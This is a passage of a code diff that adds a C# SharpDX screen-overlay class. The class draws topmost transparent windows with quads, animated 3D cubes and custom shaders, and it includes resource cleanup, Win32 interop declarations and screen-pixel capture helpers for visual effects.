+ _bufferSizes[monitorIndex] = newBufferSize; + vertexBuffer = newVertexBuffer; + indexBuffer = newIndexBuffer; + } + catch (Exception ex) + { + Debug.WriteLine($"Failed to resize buffers: {ex.Message}"); + } + } + try + { + var quadVertices = new VertexPositionColor[vertexCount]; + for (int i = 0; i < pointCount; i++) + { + var point = drawingData.Points[i]; + float halfSize = point.Size * 0.5f; + quadVertices[i * 4] = new VertexPositionColor( + new Vector2(point.Position.X - halfSize, point.Position.Y - halfSize), + point.Color, + point.Size + ); + quadVertices[i * 4 + 1] = new VertexPositionColor( + new Vector2(point.Position.X + halfSize, point.Position.Y - halfSize), + point.Color, + point.Size + ); + quadVertices[i * 4 + 2] = new VertexPositionColor( + new Vector2(point.Position.X - halfSize, point.Position.Y + halfSize), + point.Color, + point.Size + ); + quadVertices[i * 4 + 3] = new VertexPositionColor( + new Vector2(point.Position.X + halfSize, point.Position.Y + halfSize), + point.Color, + point.Size + ); + } + try + { + var vertexDataBox = context.MapSubresource( + vertexBuffer, + 0, + MapMode.WriteDiscard, + SharpDX.Direct3D11.MapFlags.None); + SharpDX.Utilities.Write(vertexDataBox.DataPointer, quadVertices, 0, vertexCount); + context.UnmapSubresource(vertexBuffer, 0); + } + catch (Exception ex) + { + Debug.WriteLine($"Error updating vertex buffer: {ex.Message}"); + return; + } + try + { + var indexDataBox = context.MapSubresource( + indexBuffer, + 0, + MapMode.WriteDiscard, + SharpDX.Direct3D11.MapFlags.None); + SharpDX.Utilities.Write(indexDataBox.DataPointer, drawingData.Indices, 0, usedIndices); + context.UnmapSubresource(indexBuffer, 0); + } + catch (Exception ex) + { + Debug.WriteLine($"Error updating index buffer: {ex.Message}"); + return; + } + context.ClearRenderTargetView(renderTargetView, new Color4(0, 0, 0, 0)); + context.OutputMerger.SetRenderTargets(renderTargetView); + context.VertexShader.Set(vertexShader); + context.PixelShader.Set(pixelShader); + context.InputAssembler.InputLayout = inputLayout; + context.InputAssembler.PrimitiveTopology = PrimitiveTopology.TriangleList; + context.InputAssembler.SetVertexBuffers(0, new VertexBufferBinding(vertexBuffer, VertexPositionColor.SizeInBytes, 0)); + context.InputAssembler.SetIndexBuffer(indexBuffer, Format.R32_UInt, 0); + context.DrawIndexed(usedIndices, 0, 0); + if (_cubes.TryGetValue(monitorIndex, out Dictionary cubes) && cubes.Count > 0) + { + Render3DCubes(monitorIndex, context, cubes.Values.ToList()); + } + if (_customRenderables.TryGetValue(monitorIndex, out Dictionary renderables) && renderables.Count > 0) + { + RenderCustomRenderables(monitorIndex, context, renderables.Values.ToList()); + } + swapChain.Present(1, PresentFlags.DoNotWait); + } + catch (SharpDXException dx) + { + Debug.WriteLine($"DirectX error in RenderOverlay: {dx.Message}"); + } + catch (Exception ex) + { + Debug.WriteLine($"RenderOverlay error: {ex.Message}"); + } + } + catch (Exception ex) + { + Debug.WriteLine($"RenderOverlay outer error: {ex.Message}"); + } + } + /// + /// Renders the 3D cubes for a monitor + /// + private void Render3DCubes(int monitorIndex, DeviceContext context, List cubes) + { + try + { + if (!_vertex3DShaders.TryGetValue(monitorIndex, out VertexShader vertexShader) || + !_pixel3DShaders.TryGetValue(monitorIndex, out PixelShader pixelShader) || + !_input3DLayouts.TryGetValue(monitorIndex, out InputLayout inputLayout) || + !_matrixBuffers.TryGetValue(monitorIndex, out Buffer matrixBuffer)) + { + Setup3DResources(monitorIndex); + if (!_vertex3DShaders.TryGetValue(monitorIndex, out vertexShader) || + !_pixel3DShaders.TryGetValue(monitorIndex, out pixelShader) || + !_input3DLayouts.TryGetValue(monitorIndex, out inputLayout) || + !_matrixBuffers.TryGetValue(monitorIndex, out matrixBuffer)) + { + return; + } + } + context.InputAssembler.PrimitiveTopology = PrimitiveTopology.TriangleList; + context.VertexShader.Set(vertexShader); + context.PixelShader.Set(pixelShader); + context.InputAssembler.InputLayout = inputLayout; + Matrix viewMatrix = Matrix.LookAtLH(_cameraPosition, _cameraTarget, _cameraUp); + Matrix projectionMatrix = Matrix.PerspectiveFovLH( + _fieldOfView, + _aspectRatio, + _nearPlane, + _farPlane + ); + foreach (var cube in cubes) + { + DataStream mappedResource; + context.MapSubresource(matrixBuffer, MapMode.WriteDiscard, SharpDX.Direct3D11.MapFlags.None, out mappedResource); + mappedResource.Write(cube.WorldMatrix); + mappedResource.Write(viewMatrix); + mappedResource.Write(projectionMatrix); + context.UnmapSubresource(matrixBuffer, 0); + context.VertexShader.SetConstantBuffer(0, matrixBuffer); + context.InputAssembler.SetVertexBuffers(0, new VertexBufferBinding(cube.VertexBuffer, VertexPosition3DColor.SizeInBytes, 0)); + context.InputAssembler.SetIndexBuffer(cube.IndexBuffer, Format.R32_UInt, 0); + context.DrawIndexed(cube.IndexCount, 0, 0); + } + } + catch (Exception ex) + { + Debug.WriteLine($"Render3DCubes error: {ex.Message}"); + } + } + /// + /// Renders custom renderables for a monitor + /// + private void RenderCustomRenderables(int monitorIndex, DeviceContext context, List renderables) + { + try + { + Matrix viewMatrix = Matrix.LookAtLH(_cameraPosition, _cameraTarget, _cameraUp); + Matrix projectionMatrix = Matrix.PerspectiveFovLH( + _fieldOfView, + _aspectRatio, + _nearPlane, + _farPlane + ); + bool customShaderApplied = false; + if (_customShaders.TryGetValue(monitorIndex, out Dictionary shaders) && shaders.Count > 0) + { + foreach (var shader in shaders.Values) + { + try + { + shader.Apply(context); + customShaderApplied = true; + break; + } + catch (Exception ex) + { + Debug.WriteLine($"Error applying custom shader {shader.ShaderId}: {ex.Message}"); + } + } + } + foreach (var renderable in renderables) + { + try + { + renderable.Render(context, viewMatrix, projectionMatrix); + renderable.NeedsUpdate = false; + } + catch (Exception ex) + { + Debug.WriteLine($"Error rendering custom renderable {renderable.RenderableId}: {ex.Message}"); + } + } + if (customShaderApplied && + _vertexShaders.TryGetValue(monitorIndex, out VertexShader defaultVS) && + _pixelShaders.TryGetValue(monitorIndex, out PixelShader defaultPS)) + { + context.VertexShader.Set(defaultVS); + context.PixelShader.Set(defaultPS); + } + } + catch (Exception ex) + { + Debug.WriteLine($"RenderCustomRenderables error: {ex.Message}"); + } + } + private IntPtr DXOverlayWndProc(IntPtr hWnd, uint msg, IntPtr wParam, IntPtr lParam) + { + switch (msg) + { + case NativeMethods.WM_DESTROY: + try + { + var toRemove = new List(); + foreach (var pair in _overlayWindows) + { + if (pair.Value == hWnd) + { + toRemove.Add(pair.Key); + CleanupDirectXResources(pair.Key); + } + } + foreach (var key in toRemove) + { + _overlayWindows.Remove(key); + } + } + catch (Exception ex) + { + Debug.WriteLine($"WndProc error: {ex.Message}"); + } + break; + } + return NativeMethods.DefWindowProc(hWnd, msg, wParam, lParam); + } + /// + /// Clean up DirectX resources for a monitor + /// + private void CleanupDirectXResources(int monitorIndex) + { + try + { + if (_renderTargetViews.TryGetValue(monitorIndex, out RenderTargetView renderTargetView)) + { + renderTargetView.Dispose(); + _renderTargetViews.Remove(monitorIndex); + } + if (_vertexBuffers.TryGetValue(monitorIndex, out Buffer vertexBuffer)) + { + vertexBuffer.Dispose(); + _vertexBuffers.Remove(monitorIndex); + } + if (_inputLayouts.TryGetValue(monitorIndex, out InputLayout inputLayout)) + { + inputLayout.Dispose(); + _inputLayouts.Remove(monitorIndex); + } + if (_vertexShaders.TryGetValue(monitorIndex, out VertexShader vertexShader)) + { + vertexShader.Dispose(); + _vertexShaders.Remove(monitorIndex); + } + if (_pixelShaders.TryGetValue(monitorIndex, out PixelShader pixelShader)) + { + pixelShader.Dispose(); + _pixelShaders.Remove(monitorIndex); + } + if (_swapChains.TryGetValue(monitorIndex, out SwapChain swapChain)) + { + swapChain.Dispose(); + _swapChains.Remove(monitorIndex); + } + if (_deviceContexts.TryGetValue(monitorIndex, out DeviceContext context)) + { + context.Dispose(); + _deviceContexts.Remove(monitorIndex); + } + if (_devices.TryGetValue(monitorIndex, out Device device)) + { + device.Dispose(); + _devices.Remove(monitorIndex); + } + _needsUpdate.Remove(monitorIndex); + } + catch (Exception ex) + { + Debug.WriteLine($"CleanupDirectXResources error: {ex.Message}"); + } + } + /// + /// Disposes of all resources used by screen overlay + /// + public void Dispose() + { + Dispose(true); + GC.SuppressFinalize(this); + } + protected virtual void Dispose(bool disposing) + { + if (disposing) + { + _drawingThreadRunning = false; + _drawingSignal.Set(); + if (_drawingThread != null && _drawingThread.IsAlive) + { + try + { + _drawingThread.Join(1000); + } + catch (Exception ex) + { + Debug.WriteLine($"Thread join error: {ex.Message}"); + } + } + _drawingSignal.Dispose(); + List windowsToDestroy = new List(); + foreach (var handle in _overlayWindows.Values) + { + if (handle != IntPtr.Zero) + windowsToDestroy.Add(handle); + } + foreach (var monitorIndex in _devices.Keys.ToList()) + { + if (_customRenderables.TryGetValue(monitorIndex, out var renderables)) + { + foreach (var renderable in renderables.Values) + { + try + { + renderable.Dispose(); + } + catch (Exception ex) + { + Debug.WriteLine($"Error disposing custom renderable: {ex.Message}"); + } + } + renderables.Clear(); + } + if (_customShaders.TryGetValue(monitorIndex, out var shaders)) + { + foreach (var shader in shaders.Values) + { + try + { + shader.Dispose(); + } + catch (Exception ex) + { + Debug.WriteLine($"Error disposing custom shader: {ex.Message}"); + } + } + shaders.Clear(); + } + CleanupDirectXResources(monitorIndex); + } + foreach (var handle in windowsToDestroy) + { + NativeMethods.DestroyWindow(handle); + } + _overlayWindows.Clear(); + } + } + /// + /// Native methods for window operations + /// + public static class NativeMethods + { + public const int GWL_EXSTYLE = -20; + public const int WS_EX_LAYERED = 0x80000; + public const int WS_EX_TRANSPARENT = 0x20; + public const int WS_EX_TOPMOST = 0x8; + public const int WS_EX_TOOLWINDOW = 0x80; + public const uint WS_POPUP = 0x80000000; + public const int SWP_NOMOVE = 0x2; + public const int SWP_NOSIZE = 0x1; + public const int SWP_NOACTIVATE = 0x10; + public const int SWP_SHOWWINDOW = 0x40; + public const int SWP_NOOWNERZORDER = 0x0200; + public const int HWND_TOPMOST = -1; + public const int SWP_NOZORDER = 4; + public const int HWND_NOTOPMOST = -2; + public const int LWA_COLORKEY = 0x00000001; + public const int LWA_ALPHA = 0x00000002; + public const int SW_SHOW = 5; + public const int SW_SHOWNA = 8; + public const int BLACK_BRUSH = 4; + public const int NULL_BRUSH = 5; + public const uint WM_DESTROY = 0x0002; + public const uint WM_PAINT = 0x000F; + [DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)] + public static extern IntPtr GetModuleHandle(string lpModuleName); + [DllImport("user32.dll", SetLastError = true)] + public static extern int GetWindowLong(IntPtr hWnd, int nIndex); + [DllImport("user32.dll", SetLastError = true)] + public static extern int SetWindowLong(IntPtr hWnd, int nIndex, int dwNewLong); + [DllImport("user32.dll", SetLastError = true)] + public static extern bool SetWindowPos(IntPtr hWnd, int hWndInsertAfter, int X, int Y, int cx, int cy, uint uFlags); + [DllImport("user32.dll")] + public static extern IntPtr DefWindowProc(IntPtr hWnd, uint Msg, IntPtr wParam, IntPtr lParam); + [DllImport("user32.dll", SetLastError = true)] + public static extern IntPtr CreateWindowEx(uint dwExStyle, string lpClassName, string lpWindowName, uint dwStyle, int X, int Y, int nWidth, int nHeight, IntPtr hWndParent, IntPtr hMenu, IntPtr hInstance, IntPtr lpParam); + [DllImport("user32.dll")] + public static extern bool ShowWindow(IntPtr hWnd, int nCmdShow); + [DllImport("user32.dll", SetLastError = true)] + public static extern bool RegisterClass(ref WNDCLASS lpWndClass); + [DllImport("user32.dll", SetLastError = true)] + public static extern bool DestroyWindow(IntPtr hWnd); + [DllImport("user32.dll", SetLastError = true)] + public static extern bool SetLayeredWindowAttributes(IntPtr hwnd, uint crKey, byte bAlpha, uint dwFlags); + [DllImport("gdi32.dll", SetLastError = true)] + public static extern IntPtr GetStockObject(int fnObject); + [DllImport("user32.dll", SetLastError = true, CharSet = CharSet.Auto)] + public static extern IntPtr FindWindow(string lpClassName, string lpWindowName); + } + /// + /// Gets data about the pixel (color etc.) from behind the overlay at specific coordinates + /// + /// X coordinate on the screen + /// Y coordinate on the screen + /// Monitor index (defaults to primary monitor) + /// Pixel data including color and position + /// + /// This method captures a single pixel from the screen beneath the overlay. + /// It uses GDI+ to take a screenshot of a 1x1 area at the specified coordinates. + /// + /// Example: + /// + /// PixelData pixel = overlay.GetPixelCoords(100, 100); + /// Console.WriteLine($"Pixel color: R={pixel.Color.R}, G={pixel.Color.G}, B={pixel.Color.B}"); + /// Console.WriteLine($"Pixel position: X={pixel.X}, Y={pixel.Y}"); + /// + /// + public PixelData GetPixelCoords(int x, int y, int monitorIndex = 0) + { + if (monitorIndex < 0 || monitorIndex >= Screen.AllScreens.Length) + { + monitorIndex = 0; + } + Rectangle bounds = Screen.AllScreens[monitorIndex].Bounds; + int screenX = bounds.Left + x; + int screenY = bounds.Top + y; + if (x < 0 || x >= bounds.Width || y < 0 || y >= bounds.Height) + { + return new PixelData(Color.Black, x, y, monitorIndex); + } + try + { + using (Bitmap bitmap = new Bitmap(1, 1, System.Drawing.Imaging.PixelFormat.Format32bppArgb)) + { + using (Graphics g = Graphics.FromImage(bitmap)) + { + g.CopyFromScreen(screenX, screenY, 0, 0, new Size(1, 1), CopyPixelOperation.SourceCopy); + } + Color pixelColor = bitmap.GetPixel(0, 0); + return new PixelData(pixelColor, x, y, monitorIndex); + } + } + catch (Exception ex) + { + Debug.WriteLine($"Error capturing pixel: {ex.Message}"); + return new PixelData(Color.Black, x, y, monitorIndex); + } + } + /// + /// Gets data about a random pixel from the screen behind the overlay + /// + /// Monitor index (defaults to primary monitor) + /// Pixel data including color and random position + /// + /// This method selects random coordinates within the specified monitor's bounds + /// and returns the pixel data at that location. Useful for creating custom effects. + /// + /// Example: + /// + /// PixelData randomPixel = overlay.GetRandomPixel(); + /// Console.WriteLine($"Random pixel at X={randomPixel.X}, Y={randomPixel.Y} has color {randomPixel.Color}"); + /// + /// + public PixelData GetRandomPixel(int monitorIndex = 0) + { + if (monitorIndex < 0 || monitorIndex >= Screen.AllScreens.Length) + { + monitorIndex = 0; + } + Rectangle bounds = Screen.AllScreens[monitorIndex].Bounds; + Random random = new Random(); + int x = random.Next(0, bounds.Width); + int y = random.Next(0, bounds.Height); + return GetPixelCoords(x, y, monitorIndex); + } + /// + /// Captures a region of the screen + /// + /// X coordinate + /// Y coordinate + /// Width of the region + /// Height of the region + /// Monitor index + /// Bitmap containing the captured region + /// + /// This method captures a rectangular region of the screen from beneath the overlay and returns it as a Bitmap object. + /// Useful for creating effects. + /// + /// Example: + /// + /// // Capture a 200x150 region starting at coordinates (50, 50) + /// Bitmap screenshot = overlay.CaptureScreenRegion(50, 50, 200, 150); + /// + /// // Save the screenshot to a file + /// screenshot.Save("screenshot.png"); + /// + /// // Don't forget to dispose when done + /// screenshot.Dispose(); + /// + /// + public Bitmap CaptureScreenRegion(int x, int y, int width, int height, int monitorIndex = 0) + { + if (monitorIndex < 0 || monitorIndex >= Screen.AllScreens.Length) + { + monitorIndex = 0; + } + Rectangle bounds = Screen.AllScreens[monitorIndex].Bounds; + int screenX = bounds.Left + x; + int screenY = bounds.Top + y; + width = Math.Max(1, width); + height = Math.Max(1, height); + if (x < 0) { width += x; x = 0; } + if (y < 0) { height += y; y = 0; } + if (x + width > bounds.Width) width = bounds.Width - x; + if (y + height > bounds.Height) height = bounds.Height - y; + if (width <= 0 || height <= 0) + { + return new Bitmap(1, 1); + } + try + { + Bitmap bitmap = new Bitmap(width, height, System.Drawing.Imaging.PixelFormat.Format32bppArgb); + using (Graphics g = Graphics.FromImage(bitmap)) + { + g.CopyFromScreen(screenX, screenY, 0, 0, new Size(width, height), CopyPixelOperation.SourceCopy); + } + return bitmap; + } + catch (Exception ex) + { + Debug.WriteLine($"Error capturing screen region: {ex.Message}"); + return new Bitmap(1, 1); + } + } + private class Cube3DData + { + public int Id { get; set; } + public Vector3 Position { get; set; } + public Vector3 Rotation { get; set; } + public Vector3 Scale { get; set; } + public Color4 FrontColor { get; set; } + public Color4 BackColor { get; set; } + public Color4 TopColor { get; set; } + public Color4 BottomColor { get; set; } + public Color4 LeftColor { get; set; } + public Color4 RightColor { get; set; } + public bool IsMoving { get; set; } + public Vector3 TargetPosition { get; set; } + public float MoveSpeed { get; set; } + public bool IsRotating { get; set; } + public Vector3 TargetRotation { get; set; } + public float RotationSpeed { get; set; } + public Buffer VertexBuffer { get; set; } + public Buffer IndexBuffer { get; set; } + public int VertexCount { get; set; } + public int IndexCount { get; set; } + public Matrix WorldMatrix { get; private set; } + public Cube3DData(int id, Color4 frontColor, Color4 backColor, Color4 topColor, + Color4 bottomColor, Color4 leftColor, Color4 rightColor, + float x, float y, float z, float width, float height, float depth = 0) + { + Id = id; + Position = new Vector3(x, y, z); + Rotation = Vector3.Zero; + Scale = new Vector3(width, height, depth > 0 ? depth : width); + FrontColor = frontColor; + BackColor = backColor; + TopColor = topColor; + BottomColor = bottomColor; + LeftColor = leftColor; + RightColor = rightColor; + IsMoving = false; + IsRotating = false; + TargetPosition = Position; + TargetRotation = Rotation; + MoveSpeed = 5.0f; + RotationSpeed = 3.0f; + UpdateWorldMatrix(); + } + public void UpdateWorldMatrix() + { + Matrix rotationX = Matrix.RotationX(Rotation.X); + Matrix rotationY = Matrix.RotationY(Rotation.Y); + Matrix rotationZ = Matrix.RotationZ(Rotation.Z); + Matrix rotationMatrix = rotationX * rotationY * rotationZ; + Matrix scaleMatrix = Matrix.Scaling(Scale); + Matrix translationMatrix = Matrix.Translation(Position); + WorldMatrix = scaleMatrix * rotationMatrix * translationMatrix; + } + } + private void UpdateAnimatedCubes() + { + float deltaTime = 0.016f; + foreach (var monitorCubes in _cubes) + { + bool cubeUpdated = false; + foreach (var cube in monitorCubes.Value.Values.ToList()) + { + bool updated = false; + if (cube.IsMoving) + { + Vector3 direction = cube.TargetPosition - cube.Position; + float distance = direction.Length(); + if (distance > 0.01f) + { + direction.Normalize(); + float moveAmount = cube.MoveSpeed * deltaTime; + if (distance <= moveAmount) + { + cube.Position = cube.TargetPosition; + cube.IsMoving = false; + } + else + { + cube.Position += direction * moveAmount; + } + updated = true; + } + else + { + cube.IsMoving = false; + } + } + if (cube.IsRotating) + { + Vector3 rotationDelta = cube.TargetRotation - cube.Rotation; + float rotationDistance = rotationDelta.Length(); + if (rotationDistance > 0.01f) + { + float rotationAmount = cube.RotationSpeed * deltaTime; + if (rotationDistance <= rotationAmount) + { + cube.Rotation = cube.TargetRotation; + cube.IsRotating = false; + } + else + { + Vector3 rotationDir = new Vector3( + rotationDelta.X != 0 ? Math.Sign(rotationDelta.X) : 0, + rotationDelta.Y != 0 ? Math.Sign(rotationDelta.Y) : 0, + rotationDelta.Z != 0 ? Math.Sign(rotationDelta.Z) : 0 + ); + cube.Rotation += rotationDir * rotationAmount; + } + updated = true; + } + else + { + cube.IsRotating = false; + } + } + if (updated) + { + cube.UpdateWorldMatrix(); + cubeUpdated = true; + } + } + if (cubeUpdated) + { + _needsUpdate[monitorCubes.Key] = true; + } + } + } + /// + /// Renders a 3D cube on screen with the specified parameters + /// + /// Unique identifier for the cube + /// Color for the front face + /// Color for the back face + /// Color for the top face + /// Color for the bottom face + /// Color for the left face + /// Color for the right face + /// X position in screen coordinates + /// Y position in screen coordinates + /// Z position (depth) + /// Width of the cube + /// Height of the cube + /// Monitor index to display the cube on + /// + /// Creates a 3D cube with customizable colors for each face. The cube is positioned at the specified coordinates + /// with the given dimensions. Each cube has a unique ID that can be used to manipulate it later. + /// + /// Example: + /// + /// // Create a red/blue/green/yellow/purple/orange cube at position (100, 100) with size 50x50 + /// overlay.Render3DCube(1, Color.Red.ToArgb(), Color.Blue.ToArgb(), Color.Green.ToArgb(), + /// Color.Yellow.ToArgb(), Color.Purple.ToArgb(), Color.Orange.ToArgb(), + /// 100, 100, 0, 50, 50); + /// + /// + public void Render3DCube(int id, int frontColor, int backColor, int topColor, int bottomColor, + int leftColor, int rightColor, float x, float y, float z, + float width, float height, int monitorIndex = 0) + { + QueueDrawingAction(() => + { + try + { + if (monitorIndex < 0 || monitorIndex >= Screen.AllScreens.Length) + { + monitorIndex = 0; + } + Rectangle bounds = Screen.AllScreens[monitorIndex].Bounds; + ShowDrawingOverlay(monitorIndex, bounds); + if (!_vertex3DShaders.ContainsKey(monitorIndex)) + { + Setup3DResources(monitorIndex); + } + if (!_cubes.ContainsKey(monitorIndex)) + { + _cubes[monitorIndex] = new Dictionary(); + } + if (_cubes[monitorIndex].ContainsKey(id)) + { + Remove3DCube(id, monitorIndex); + } + float ndcX = (x / (float)bounds.Width) * 2.0f - 1.0f; + float ndcY = 1.0f - (y / (float)bounds.Height) * 2.0f; + float ndcWidth = width / (float)bounds.Width * 2.0f; + float ndcHeight = height / (float)bounds.Height * 2.0f; + Color4 front = ARGBToColor4(frontColor); + Color4 back = ARGBToColor4(backColor); + Color4 top = ARGBToColor4(topColor); + Color4 bottom = ARGBToColor4(bottomColor); + Color4 left = ARGBToColor4(leftColor); + Color4 right = ARGBToColor4(rightColor); + var cube = new Cube3DData(id, front, back, top, bottom, left, right, + ndcX, ndcY, z, ndcWidth, ndcHeight); + CreateCubeMesh(_devices[monitorIndex], cube); + _cubes[monitorIndex][id] = cube; + _needsUpdate[monitorIndex] = true; + } + catch (Exception ex) + { + Debug.WriteLine($"Render3DCube error: {ex.Message}"); + } + }); + } + /// + /// Moves a 3D cube to the specified position + /// + /// ID of the cube to move + /// If true, animate the movement; otherwise move immediately + /// X position in screen coordinates + /// Y position in screen coordinates + /// Z position (depth) + /// Monitor index the cube is on + /// + /// Moves an existing 3D cube to a new position. If smooth is true, the cube will + /// animate smoothly to the new position over several frames. If false, the cube + /// will instantly teleport to the new position. + /// + /// Example: + /// + /// // Move cube with ID 1 smoothly to position (200, 200) + /// overlay.Move3DCube(1, true, 200, 200, 0); + /// + /// // Move cube with ID 1 instantly to position (300, 300) + /// overlay.Move3DCube(1, false, 300, 300, 0); + /// + /// + public void Move3DCube(int id, bool smooth, float x, float y, float z, int monitorIndex = 0) + { + QueueDrawingAction(() => + { + try + { + if (monitorIndex < 0 || monitorIndex >= Screen.AllScreens.Length) + { + monitorIndex = 0; + } + if (!_cubes.ContainsKey(monitorIndex) || !_cubes[monitorIndex].ContainsKey(id)) + { + Debug.WriteLine($"Cube with ID {id} not found on monitor {monitorIndex}"); + return; + } + var cube = _cubes[monitorIndex][id]; + Rectangle bounds = Screen.AllScreens[monitorIndex].Bounds; + float ndcX = (x / (float)bounds.Width) * 2.0f - 1.0f; + float ndcY = 1.0f - (y / (float)bounds.Height) * 2.0f; + if (smooth) + { + cube.TargetPosition = new Vector3(ndcX, ndcY, z); + cube.IsMoving = true; + } + else + { + cube.Position = new Vector3(ndcX, ndcY, z); + cube.UpdateWorldMatrix(); + } + _needsUpdate[monitorIndex] = true; + } + catch (Exception ex) + { + Debug.WriteLine($"Move3DCube error: {ex.Message}"); + } + }); + } + /// + /// Rotates a 3D cube to the specified orientation + /// + /// ID of the cube to rotate + /// If true, animate the rotation; otherwise rotate immediately + /// X rotation in radians + /// Y rotation in radians + /// Z rotation in radians + /// Monitor index the cube is on + /// + /// Rotates an existing 3D cube to a new orientation. If smooth is true, the cube will + /// animate smoothly to the new orientation over several frames. If false, the cube + /// will instantly rotate to the new orientation. + /// + /// Example: + /// + /// // Rotate cube with ID 1 smoothly to a new orientation + /// overlay.Rotate3DCube(1, true, 0.5f, 1.0f, 0.25f); + /// + /// // Rotate cube with ID 1 instantly to a specific orientation + /// overlay.Rotate3DCube(1, false, 0, (float)Math.PI/2, 0); + /// + /// + public void Rotate3DCube(int id, bool smooth, float x, float y, float z, int monitorIndex = 0) + { + QueueDrawingAction(() => + { + try + { + if (monitorIndex < 0 || monitorIndex >= Screen.AllScreens.Length) + { + monitorIndex = 0; + } + if (!_cubes.ContainsKey(monitorIndex) || !_cubes[monitorIndex].ContainsKey(id)) + { + Debug.WriteLine($"Cube with ID {id} not found on monitor {monitorIndex}"); + return; + } + var cube = _cubes[monitorIndex][id]; + if (smooth) + { + cube.TargetRotation = new Vector3(x, y, z); + cube.IsRotating = true; + } + else + { + cube.Rotation = new Vector3(x, y, z); + cube.UpdateWorldMatrix(); + } + _needsUpdate[monitorIndex] = true; + } + catch (Exception ex) + { + Debug.WriteLine($"Rotate3DCube error: {ex.Message}"); + } + }); + } + /// + /// Removes a 3D cube from the overlay + /// + /// ID of the cube to remove + /// Monitor index the cube is on + /// + /// Completely removes a 3D cube from the overlay and disposes its resources. + /// + /// Example: + /// + /// // Remove cube with ID 1 + /// overlay.Remove3DCube(1); + /// + /// + public void Remove3DCube(int id, int monitorIndex = 0) + { + QueueDrawingAction(() => + { + try + { + if (monitorIndex < 0 || monitorIndex >= Screen.AllScreens.Length) + { + monitorIndex = 0; + } + if (!_cubes.ContainsKey(monitorIndex) || !_cubes[monitorIndex].ContainsKey(id)) + { + return; + } + var cube = _cubes[monitorIndex][id]; + if (cube.VertexBuffer != null) + { + cube.VertexBuffer.Dispose(); + } + if (cube.IndexBuffer != null) + { + cube.IndexBuffer.Dispose(); + } + _cubes[monitorIndex].Remove(id); + _needsUpdate[monitorIndex] = true; + } + catch (Exception ex) + { + Debug.WriteLine($"Remove3DCube error: {ex.Message}"); + } + }); + } + /// + /// Converts an ARGB color integer to a Direct3D Color4 + /// + private Color4 ARGBToColor4(int colorArgb) + { + Color argbColor = Color.FromArgb(colorArgb); + return new Color4( + argbColor.R / 255.0f, + argbColor.G / 255.0f, + argbColor.B / 255.0f, + argbColor.A / 255.0f + ); + } + /// + /// Interface for custom shader implementations + /// + /// + /// Use this interface to create custom shaders that can be registered with the ScreenOverlay. + /// Custom shaders allow you to apply custom rendering effects to the overlay. + /// + /// Implementation example: + /// + /// public class MyCustomShader : ICustomShader + /// { + /// private string _id = "MyShader"; + /// private Device _device; + /// private VertexShader _vertexShader; + /// private PixelShader _pixelShader; + /// private InputLayout _inputLayout; + /// + /// public string ShaderId => _id; + /// + /// public bool Initialize(Device device) + /// { + /// _device = device; + /// + /// // Compile shaders + /// using (var vertexShaderBytecode = SharpDX.D3DCompiler.ShaderBytecode.Compile( + /// vertexShaderCode, "main", "vs_4_0", SharpDX.D3DCompiler.ShaderFlags.Debug)) + /// { + /// _vertexShader = new VertexShader(device, vertexShaderBytecode); + /// + /// // Create input layout + /// _inputLayout = new InputLayout(device, vertexShaderBytecode, inputElements); + /// } + /// + /// using (var pixelShaderBytecode = SharpDX.D3DCompiler.ShaderBytecode.Compile( + /// pixelShaderCode, "main", "ps_4_0", SharpDX.D3DCompiler.ShaderFlags.Debug)) + /// { + /// _pixelShader = new PixelShader(device, pixelShaderBytecode); + /// } + /// + /// return true; + /// } + /// + /// public void Apply(DeviceContext context) + /// { + /// context.VertexShader.Set(_vertexShader); + /// context.PixelShader.Set(_pixelShader); + /// context.InputAssembler.InputLayout = _inputLayout; + /// } + /// + /// public void Dispose() + /// { + /// _vertexShader?.Dispose(); + /// _pixelShader?.Dispose(); + /// _inputLayout?.Dispose(); + /// } + /// } + /// + /// + public interface ICustomShader : IDisposable + { + /// + /// Initializes the shader with a device + /// + /// The Direct3D device + /// True if initialization succeeded + bool Initialize(Device device); + /// + /// Applies the shader to the rendering pipeline + /// + /// The Direct3D device context + void Apply(DeviceContext context); + /// + /// Gets the unique identifier for this shader + /// + string ShaderId { get; } + } + /// + /// Interface for custom renderable objects + /// + /// + /// Use this interface to create custom 3D objects that can be rendered by the ScreenOverlay. + /// This allows you to extend the ScreenOverlay with your own rendering logic. + /// + /// Implementation example: + /// + /// public class MyCube : ICustomRenderable + /// { + /// private int _id; + /// private int _monitorIndex; + /// private Vector3 _position; + /// private Vector3 _rotation; + /// private Vector3 _scale; + /// private Color4 _color; + /// + /// private Buffer _vertexBuffer; + /// private Buffer _indexBuffer; + /// private Buffer _constantBuffer; + /// private int _vertexCount; + /// private int _indexCount; + /// + /// public MyCube(int id, int monitorIndex, Vector3 position, Color4 color) + /// { + /// _id = id; + /// _monitorIndex = monitorIndex; + /// _position = position; + /// _color = color; + /// _rotation = Vector3.Zero; + /// _scale = new Vector3(1, 1, 1); + /// } + /// + /// public int RenderableId => _id; + /// public bool NeedsUpdate { get; set; } = true; + /// public int MonitorIndex => _monitorIndex; + /// + /// public bool Initialize(Device device) + /// { + /// // Create vertex and index buffers + /// // Create geometry + /// // Create constant buffer for transformations + /// return true; + /// } + /// + /// public void Render(DeviceContext context, Matrix viewMatrix, Matrix projectionMatrix) + /// { + /// // Create world matrix from position, rotation, scale + /// Matrix worldMatrix = Matrix.Scaling(_scale) * + /// Matrix.RotationYawPitchRoll(_rotation.Y, _rotation.X, _rotation.Z) * + /// Matrix.Translation(_position); + /// + /// // Update constant buffer with matrices + /// // Set vertex and index buffers + /// // Draw the object + /// context.DrawIndexed(_indexCount, 0, 0); + /// } + /// + /// public void Dispose() + /// { + /// _vertexBuffer?.Dispose(); + /// _indexBuffer?.Dispose(); + /// _constantBuffer?.Dispose(); + /// } + /// } + /// + /// + /// Register your renderable with the ScreenOverlay: + /// + /// var cube = new MyCube(1, 0, new Vector3(0, 0, 0), new Color4(1, 0, 0, 1)); + /// overlay.RegisterCustomRenderable(cube); + /// + /// + public interface ICustomRenderable : IDisposable + { + /// + /// Initializes resources for the renderable object + /// + /// The Direct3D device + /// True if initialization succeeded + bool Initialize(Device device); + /// + /// Renders the object using the specified context + /// + /// The Direct3D device context + /// The view matrix + /// The projection matrix + void Render(DeviceContext context, Matrix viewMatrix, Matrix projectionMatrix); + /// + /// Gets the unique identifier for this renderable + /// + int RenderableId { get; } + /// + /// Gets or sets whether this object needs to be updated + /// + bool NeedsUpdate { get; set; } + /// + /// Gets the monitor index this renderable belongs to + /// + int MonitorIndex { get; } + } + /// + /// Registers a custom shader for use with this overlay + /// + /// The custom shader to register + /// The 